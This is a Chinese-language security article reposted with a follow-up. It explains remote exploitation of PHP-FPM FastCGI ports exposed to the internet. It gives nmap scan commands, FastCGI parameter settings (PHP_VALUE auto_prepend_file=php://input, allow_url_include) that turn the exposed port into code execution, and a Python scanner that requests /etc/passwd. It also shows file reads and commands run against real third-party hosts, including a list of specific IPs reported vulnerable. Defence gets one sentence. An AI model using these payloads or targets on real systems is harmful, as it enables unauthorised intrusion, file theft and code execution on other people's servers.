PHP FastCGI的遠程利用
說到FastCGI,大家都知道這是目前最常見的webserver動態(tài)腳本執(zhí)行模型之一。目前基本所有web腳本都基本支持這種模式,甚至有的類型腳本這是唯一的模式(ROR,Python等)。
FastCGI的主要目的就是,將webserver和動態(tài)語言的執(zhí)行分開為兩個不同的常駐進程,當webserver接收到動態(tài)腳本的請求,就通過fcgi協(xié)議將請求通過網(wǎng)絡轉發(fā)給fcgi進程,由fcgi進程進行處理之后,再將結果傳送給webserver,然后webserver再輸出給瀏覽器。這種模型由于不用每次請求都重新啟動一次cgi,也不用嵌入腳本解析器到webserver中去,因此可伸縮性很強,一旦動態(tài)腳本請求量增加,就可以將后端fcgi進程單獨設立一個集群提供服務,很大的增加了可維護性,這也是為什么fcgi等類似模式如此流行的原因之一。
然而正是因為這種模式,卻也帶來了一些問題。例如去年80sec發(fā)布的《nginx文件解析漏洞》 實際上就是由于fcgi和webserver對script路徑級參數(shù)的理解不同出現(xiàn)的問題。除此之外,由于fcgi和webserver是通過網(wǎng)絡進行溝通的,因此目前越來越多的集群將fcgi直接綁定在公網(wǎng)上,所有人都可以對其進行訪問。這樣就意味著,任何人都可以偽裝成webserver,讓fcgi執(zhí)行我們想執(zhí)行的腳本內容。
ok,以上就是背景原理解釋,我這里就用我最熟悉的PHP給各位做個例子。
php的fastcgi目前通常叫做FPM。他默認監(jiān)聽的端口是9000端口。我們這里用nmap直接掃描一下:
nmap -sV -p 9000 --open x.x.x.x/24
為什么要用sV?因為9000端口可能還存在其他服務,這里需要借用nmap的指紋識別先幫我們鑒定一下。
[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT
Nmap scan report for abc.net (173.xxx.xxx.111)
Host is up (0.0095s latency).
PORT STATE SERVICE VERSION
9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)
Host is up (0.0096s latency).
PORT STATE SERVICE VERSION
9000/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
隨便掃描了一下,運氣不錯,一個C段有2個開放9000端口的,不過其中一個是被管理員修改的sshd,另一個tcpwrapped,才是我們的目標。
為了做測試,我寫了一個fastcgi的客戶端程序,直接向對方發(fā)起請求。我們利用一個開放的fastcgi能有什么作用?這里和普通的http請求有一點不同,因為webserver為了提供fastcgi一些參數(shù),每次轉發(fā)請求的時候,會通過FASTCGI_PARAMS的包向fcgi進程進行傳遞。本來這些參數(shù)是用戶不可控的,但是既然這個fcgi對外開放,那么也就說明我們可以通過設定這些參數(shù),來讓我們去做一些原本做不到的事情:
[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-type: text/html www.jfrwli.cn
Ubuntu 10.04.3 LTS \n \l
讀到了/etc/issue文件,可以看到這是臺ubuntu 10.04的機器。那又是怎么實現(xiàn)的呢?其實我們只要在FASTCGI_PARAMS中,設定 DOCUMENT_ROOT為"/"根目錄即可,隨后再設置SCRIPT_FILENAME為/etc/issue。這樣,只要我們有權限,我們就可以控制fcgi去讀取這臺機器上的任意文件了。實際上這并不是讀取,而是用php去執(zhí)行它。
既然是執(zhí)行,所以其實這個漏洞就類似于一個普通的LFI漏洞,如果你知道這臺機器上的log路徑,或者任何你可以控制內容的文件路徑,你就可以執(zhí)行任意代碼了。
到此為止了么?不,如果利用log或者去猜其他文件路徑去執(zhí)行代碼,還是不夠方便,有沒有更為方便的利用方式可以讓我執(zhí)行任意我提交的代碼呢?
這里我也找了很多辦法,最先想到的是傳遞env參數(shù)過去然后去執(zhí)行/proc/self/environ文件,可惜php-fpm在接收到我的參數(shù)值后只是在內存中修改了環(huán)境變量,并不會直接改動這個文件。因此沒法利用。況且這個方式也不是所有系統(tǒng)都通用。
我們還有一種方法,在我之前寫的《CVE-2012-1823(PHP-CGI RCE)的PoC及技術挑戰(zhàn)》中,可以通過動態(tài)修改php.ini中的auto_prepend_file的值,去遠程執(zhí)行任意文件。將一個LFI的漏洞變成了RFI,這樣可利用空間就大大增加。
fastcgi是否也支持類似的動態(tài)修改php的配置?我查了一下資料,發(fā)現(xiàn)原本FPM是不支持的,直到某開發(fā)者提交了一個bug,php官方才將此特性Merge到php 5.3.3的源碼中去。
通用通過設置FASTCGI_PARAMS,我們可以利用PHP_ADMIN_VALUE和PHP_VALUE去動態(tài)修改php的設置。
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用執(zhí)行php://input,然后在POST的內容中寫入我們的php代碼,這樣就可以直接執(zhí)行了。
[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
X-Powered-By: PHP/5.5.0-dev
Content-type: text/html
uid=500(www) gid=500(www) groups=500(www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
細心者會注意到這里有些變化,我換了本機做測試。因為開始發(fā)現(xiàn)的那臺機器php版本是5.3.2,正好低于5.3.3,因此無法利用修改ini設置去執(zhí)行代碼,只能去猜路徑。
另一個變化是,我這里去讀取/tmp/a.php這個php文件,而不是去讀取/etc/issue。因為在5.3.9開始,php官方加入了一個配置"security.limit_extensions",默認狀態(tài)下只允許執(zhí)行擴展名為".php"的文件。因此你必須找到一個已經(jīng)存在的php文件。而這個設置是php-fpm.conf里的,無法通過修改ini的配置去覆蓋它。如果誰能有更好的辦法可以繞過這個限制,請告訴我。
ok,目前為止對php-fpm的所有測試已經(jīng)結束,我們利用一個對外開放的fcgi進程,已經(jīng)可以直接獲取shell了。各位不如也去研究一下其他fcgi,或許會有更多發(fā)現(xiàn)。
如何防止這個漏洞?很簡單,千萬不要把fcgi接口對公網(wǎng)暴露。同時也希望將來fcgi會有身份認證機制。
任何系統(tǒng)上編譯,請安裝golang之后,執(zhí)行:
go build fcgi_exp.go
fastcgi文件讀取漏洞python掃描腳本
fastcgi文件讀取(代碼執(zhí)行)是個很老的漏洞,漏洞描述: PHP FastCGI 的遠程利用
利用該漏洞可讀取系統(tǒng)文件,甚至有一定幾率成功執(zhí)行代碼。 下載上述文章中提到的: fcgi_exp
協(xié)議細節(jié)其實我已不關心,只需要一個python的掃描腳本。于是拿wireshark抓了下GaRY的程序,寫一小段代碼。
外網(wǎng)暴露9000端口的機器自然是非常非常少的,但內網(wǎng)可就說不定了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import socket import sys def test_fastcgi(ip): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout( 5.0 ) sock.connect((ip, 9000 )) data = """ 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 """ data_s = '' for _ in data.split(): data_s + = chr ( int (_, 16 )) sock.send(data_s) try : ret = sock.recv( 1024 ) if ret.find( ':root:' ) > 0 : print ret print '%s is vulnerable!' % ip return True else : return False except Exception, e: pass sock.close() if __name__ = = '__main__' : if len (sys.argv) = = 1 : print sys.argv[ 0 ], '[ip]' else : test_fastcgi(sys.argv[ 1 ]) |
通過快速掃描9000端口,可以發(fā)現(xiàn)幾個存在漏洞的機器:
1
2
3
4
5
6
|
110.164.68.137 is vul ! 110.164.68.148 is vul ! 110.164.68.149 is vul ! 110.164.68.151 is vul ! 110.164.68.154 is vul ! 110.164.68.155 is vul ! |
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd